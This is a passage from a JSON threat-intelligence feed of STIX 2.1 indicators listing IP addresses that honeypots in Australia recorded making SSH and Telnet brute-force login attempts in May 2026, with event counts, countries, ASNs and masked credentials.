      "pattern": "[ipv4-addr:value = '58.50.75.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 1*****t, 1**************v, 2**4, 3***********4, 3**********4.",
      "id": "indicator--6a97ae46-2261-4ebc-b6bf-451bdc78c43e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.6.235.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--e5bf9a96-93b6-41be-aa0e-8bbf1a7b2d36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.177.101.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--8c28ca36-c9b8-4acb-b7e6-9f902d6d1310",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.184.29.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--49c0b0fc-f04f-4e4f-b7bf-65d4cbd073b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.198.132.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--3db0057b-d9ed-4aee-921b-6a13645eefe6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.198.186.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--328c1c41-61a2-457a-b41e-91111f9c0608",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.108.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 17421. Organisation(s): Mobile Business Group.",
      "id": "indicator--28c46579-5489-41dd-9ce1-81dc745c5d55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.59.13.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--a18bc0b8-9140-44d0-a482-694c3b9a23ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.23.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--5f4c6d77-0592-4f40-848f-2e1612cb8bf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.180.160.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 4230. Organisation(s): CLARO S.A..",
      "id": "indicator--21d5195c-390b-4f58-8d9a-2cdab3825fc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.43.24.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--014c7701-563b-4208-8732-1f360cb8ccb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.219.175.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--84fd24dc-b323-40ce-8bf7-1ba96e098c36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.163.13.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--13193125-7131-44b9-a39f-bc4ebcef69d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.2.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--a42c9467-6190-4965-9651-0e3dc89c8896",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.3.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PF. ASN(s): 9471. Organisation(s): ONATI.",
      "id": "indicator--c4739f49-1f70-43f9-b3ab-38ac44581bef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.90.93.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--c6d6b46d-2c7c-4312-9f69-d97c8194927d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.53.164.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f4181abe-cf8a-445a-93a6-12ac44fff809",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.33.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T09:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8615. Organisation(s): Central Telegraph Public Joint-stock Company.",
      "id": "indicator--8d62feb9-15dc-4718-a4b4-5208477ab52d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T09:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.165.136.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T09:15:12.000Z",
      "valid_until": "2026-06-20T09:15:08.000Z"
    },
    {
      "created": "2026-05-19T10:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--91766c36-7b8d-4c9a-bcb9-1d39a43470e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T10:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.222.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:15:38.000Z",
      "valid_until": "2026-06-20T10:15:08.000Z"
    },
    {
      "created": "2026-05-19T10:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--b2853b4c-517e-4dcb-9ce5-2c7b0858fccb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T10:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.29.194.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:15:38.000Z",
      "valid_until": "2026-06-20T10:15:08.000Z"
    },
    {
      "created": "2026-05-19T10:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--01ea2a4a-bfc5-4ab7-9970-0545cdccca99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T10:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '153.67.107.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:15:38.000Z",
      "valid_until": "2026-06-20T10:15:08.000Z"
    },
    {
      "created": "2026-05-19T10:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--63b50d7c-9801-4a20-b713-4903dbab5a26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T10:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.202.117.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:15:38.000Z",
      "valid_until": "2026-06-20T10:15:08.000Z"
    },
    {
      "created": "2026-05-19T10:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--fa6a1dd4-26bf-4b45-b803-06001b0acbf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T10:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.125.232.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:15:38.000Z",
      "valid_until": "2026-06-20T10:15:08.000Z"
    },
    {
      "created": "2026-05-19T10:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271907. Organisation(s): COLNETWORK C.A..",
      "id": "indicator--5721b0b6-7e55-40b1-ab2c-8c17e06970bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T10:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.233.89.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:15:38.000Z",
      "valid_until": "2026-06-20T10:15:08.000Z"
    },
    {
      "created": "2026-05-19T10:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C*******3, H**********************3.",
      "id": "indicator--61f124c8-0fed-4957-8d09-86aba97dbcfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T10:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.140.93.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:15:38.000Z",
      "valid_until": "2026-06-20T10:15:08.000Z"
    },
    {
      "created": "2026-05-19T10:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 44034. Organisation(s): Hi3G Access AB.",
      "id": "indicator--b70ac5ae-839a-4417-bf60-a71c7b91e274",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T10:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.250.103.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:15:38.000Z",
      "valid_until": "2026-06-20T10:15:08.000Z"
    },
    {
      "created": "2026-05-19T10:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 44034. Organisation(s): Hi3G Access AB.",
      "id": "indicator--1213e23f-0b42-4021-ae9b-ed92d74e90cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T10:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.250.74.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:15:38.000Z",
      "valid_until": "2026-06-20T10:15:08.000Z"
    },
    {
      "created": "2026-05-19T10:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--51de1ec3-de77-4542-a164-84a1fa87217e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T10:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.160.67.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:15:38.000Z",
      "valid_until": "2026-06-20T10:15:08.000Z"
    },
    {
      "created": "2026-05-19T10:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 51570. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--c37d3922-91a5-4f32-a1f1-f0777b98d00e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T10:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.3.19.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:15:38.000Z",
      "valid_until": "2026-06-20T10:15:08.000Z"
    },
    {
      "created": "2026-05-19T10:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--588705a4-11db-4903-95f7-b239aaa6d307",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T10:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:15:38.000Z",
      "valid_until": "2026-06-20T10:15:08.000Z"
    },
    {
      "created": "2026-05-19T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--8d4962ff-b1c7-456e-b11c-bc7be946bf46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.184.25.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T11:15:14.000Z",
      "valid_until": "2026-06-20T11:15:08.000Z"
    },
    {
      "created": "2026-05-19T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--fcd8b427-8c7c-40b6-8109-b9239e574047",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.239.193.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T11:15:14.000Z",
      "valid_until": "2026-06-20T11:15:08.000Z"
    },
    {
      "created": "2026-05-19T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ff1c2d8a-f087-406f-b270-fb4b795379a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.102.233.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T11:15:14.000Z",
      "valid_until": "2026-06-20T11:15:08.000Z"
    },
    {
      "created": "2026-05-19T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--4a5fa6a3-016c-43a7-8491-093d4b14eec6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.91.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T11:15:14.000Z",
      "valid_until": "2026-06-20T11:15:08.000Z"
    },
    {
      "created": "2026-05-19T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--eee26487-011b-4be7-a915-67eb58935ae0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.1.105.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T11:15:14.000Z",
      "valid_until": "2026-06-20T11:15:08.000Z"
    },
    {
      "created": "2026-05-19T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--cd077717-5579-49bc-9395-7062bc03b78a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.3.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T11:15:14.000Z",
      "valid_until": "2026-06-20T11:15:08.000Z"
    },
    {
      "created": "2026-05-19T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28649. Organisation(s): Desktop Sigmanet Comunicacao Multimidia SA.",
